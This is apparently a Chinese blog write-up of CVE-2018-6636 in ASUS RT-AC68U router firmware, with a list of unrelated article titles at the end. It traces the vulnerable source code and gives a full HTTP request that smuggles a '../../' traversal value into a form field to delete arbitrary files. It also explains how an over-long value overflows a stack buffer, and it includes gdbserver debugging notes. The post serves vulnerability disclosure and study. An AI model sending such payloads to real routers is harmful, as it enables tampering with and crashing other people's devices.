周末公司举办了技术团建,对路由器挺感兴趣的,挖到一枚漏洞,感谢杨博士的指导。已申请为CVE-2018-6636
软广一波~233333,想加入chaitin可以邮件联系我

源代码: https://github.com/Shonk/asuswrt/blob/d288a9cd0ddbe77b0f930c35ec0c061e78878ca4/release/src/router/httpd/web.c

void del_upload_icon(char *value) {char *buf, *g, *p;char filename[32];memset(filename, 0, 32);g = buf = strdup(value);while (buf) {if ((p = strsep(&g, ">")) == NULL) break;if(strcmp(p, "")) {sprintf(filename, "/jffs/usericon/%s.log", p);//Delete exist fileif(check_if_file_exist(filename)) {unlink(filename);}}}free(buf);
}

发现有一个unlink,在这个函数里面未有一些过滤,查看函数的调用

static int validate_apply(webs_t wp, json_object *root) {
...省略
else if(!strcmp(name, "custom_usericon_del")) {(void)del_upload_icon(value);nvram_set(name, "");nvram_modified = 1;
}
...省略
}

发现对用户的图片进行删除的时候回调用del_upload_icon函数,对validate_apply函数的调用进行查看

apply_cgi(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,char_t *url, char_t *path, char_t *query)
{   省略...if (!strcmp(action_mode, "apply")) {if (!validate_apply(wp,root)) {websWrite(wp, "NOT MODIFIED\n");}else {websWrite(wp, "MODIFIED\n");}action_para = get_cgi_json("rc_service",root);if(action_para && strlen(action_para) > 0) {notify_rc(action_para);}websWrite(wp, "RUN SERVICE\n");}省略...
}

可以看到apply_cgi最后是进行了调用

漏洞复现

此漏洞是/jffs/usericon/%s.log,其中%s可控,而且整个过程并未有一些检测操作,所以可以造成跨目录删除log文件

HTTP包(需要用户登录)

POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.1
Content-Length: 191
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://192.168.1.1/start_apply2.htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: traffic_warning_0=2018.1:1; wireless_list_9C:5C:8E:8B:D5:B0_temp=<40:C6:2A:8D:3C:06>Yes<00:28:F8:CE:48:98>Yes<DC:A9:04:82:D7:32>Yes<8C:85:90:35:83:BA>Yes<94:65:2D:A0:91:D8>Yes<AC:BC:32:90:2C:AF>Yes<BC:54:36:07:30:71>Yes; demo=1; nwmapRefreshTime=1517641501975; maxBandwidth=100; hwaddr=9C:5C:8E:8B:D5:B0; apps_last=; clock_type=1; bw_rtab=WIRED; clickedItem_tab=0; asus_token=a4coFDlYKDcnGnuNTBf8qyMGVj1457U
Connection: closecurrent_page=index.asp&next_page=index.asp&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=&custom_usericon=&custom_usericon_del=../../tmp/l3m0ntest

栈溢出

回过头来看del_upload_icon函数,其实漏洞较简单,但是平时挖洞都是web思维。

void del_upload_icon(char *value) {char *buf, *g, *p;char filename[32];memset(filename, 0, 32);g = buf = strdup(value);while (buf) {if ((p = strsep(&g, ">")) == NULL) break;if(strcmp(p, "")) {sprintf(filename, "/jffs/usericon/%s.log", p);//Delete exist fileif(check_if_file_exist(filename)) {unlink(filename);}}}free(buf);
}

可以看到filename设置的大小为32,p期间并没有做任何的长度校验,发送超长字符,进入sprintf的时候会导致栈溢出

发现httpd服务crash,然后接着就重启.

gdb server远程调试

记录一下一些调试

https://github.com/mzpqnxow/embedded-toolkit

找一个编译好的gdbserver,自己编译出了太多问题了

然后本地再编译一下gdb,注意需要交叉编译

./configure --target=arm-linux --prefix=$PWD/installed -v
make
make install期间make出现报错: no termcap library found
wget http://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz
./configure && make && make install
cp termcap.h /usr/include/ && cp libtermcap.a /usr/lib/

gdbserver:

gdbserver IP:PORT --attach PID
gdbserver 192.168.50.1:23333 --attach 3840

gdb:

target remote 192.168.50.1:23333

转载于:https://www.cnblogs.com/iamstudy/articles/Asuswrt_RT-AC68U_CVE-2018-6636_Detail.html

Asuswrt RT-AC68U 华硕路由器文件删除漏洞 栈溢出相关推荐

  1. 服务器漏洞文件被删除漏洞,【华中科技大学 - 漏洞预警】Wordpress = 4.9.6 任意文件删除漏洞...

    昨日,互联网上公开了Wordpress <= 4.9.6的任意文件删除漏洞及分析利用材料.该漏洞影响Wordpress全部版本(<= 4.9.6).在攻击者获得基础权限后,可升级角色权限, ...

  2. PHP代码审计——任意文件删除漏洞(YXcms)

    一.代码审计 在我的资源中下载:: YXcms-含有任意文件删除漏洞的源码包 下载即可 删除文件的代码在del()方法,首先通过GET方式接收参数fname传递过来的的值,然后执行in()函数 跟踪i ...

  3. php任意文件删除漏洞,myblog/phpyun4.3任意文件删除漏洞.md at master · source-trace/myblog · GitHub...

    phpyun-expect.class.php任意文件 漏洞信息 公开时间: 2017/08 影响版本: 4.3 利用难度: 2 挖掘难度: 2 漏洞说明 漏洞出现的原因是在于没有对数据进行很好的校验 ...

  4. 【代码审计】任意文件删除漏洞实例

    [代码审计]任意文件删除漏洞实例 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件. 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v ...

  5. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. CLTPHP 5.8 后台任意文件删除漏洞

    CLTPHP 5.8 后台任意文件删除漏洞 一.漏洞简介 CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统, 二.漏洞影响 CLTPHP 5.8及之前版本 三.复现过程 ...

  7. php任意文件删除漏洞,phpyun二次任意文件删除漏洞

    ### 简要描述: 只要有任意文件删除 这系统绝对崩. 我吐个槽,最新的过滤文件实在是太BT了,只要有select and .... 就die() 伤不起啊 ### 详细说明: 问题出在 friend ...

  8. php任意文件删除漏洞,phpshe后台任意文件删除漏洞及getshell | CN-SEC 中文网

    摘要 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册 ...

  9. 织梦(Dedecms)V5.6 远程文件删除漏洞

    漏洞版本: DedeCmsV5.6 漏洞描述: DedeCMS内容管理系统软件采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板.网站升级转移均提供很大的便利,健壮的模板标签为站 ...

最新文章

  1. MAC下PHP7.1.23安装intl3.0.0
  2. iOS开发——NSArray中的字典排序
  3. Leave List-Processing 新解
  4. shell中的小括号与大括号
  5. 华为mate9 android p,安卓手机为什么越用越卡?华为Mate9搭载EMUI 5.0告别卡顿
  6. UVa 1586 Molar mass 分子量 题解
  7. 瑞幸“踩”着星巴克登顶?
  8. sangfor设备升级系统_H3C IPS入侵防御系统配置
  9. CImage 对话框初始化时候显示透明 PNG
  10. BeanDefinition源码解析
  11. 如何建立个人商业画布
  12. 使用pytorch实现crnn
  13. abaqus中python怎么建立参考点_怎么在abaqus中选定中心为参考点
  14. 快速学习JasperReport-模板工具Jaspersoft Studio
  15. bzoj 4318 osu 【三次方问题】【dp】
  16. 13种权重的计算方法
  17. 什么都学一点系列之鸿蒙开发Java版简易备忘录
  18. 学学Gnuplot(常用命令及参数)
  19. 盒子中图片下方出现空隙
  20. getchar 和 getch区别

热门文章

  1. webdriver中的等待——主要讲解WebDriverWait()
  2. python爬取站酷海洛图片_站酷海洛图片爬取
  3. 详解坐标系及坐标变换--大地坐标系(一)
  4. 亚洲一些物流软件航空争抢货机投放
  5. java 求正割_Java中AQS基本实现原理
  6. 根据图片地址检查图片格式,今日头条有效
  7. 使用Windows 10自带工具 校验MD5 SHA1 SHA256类型文件
  8. Ubuntu用C/C++在终端打印不同颜色的字体
  9. python全局代理_Python3 中代理使用方法总结
  10. 微信影视站域名防封、微信影视站公众号域名防封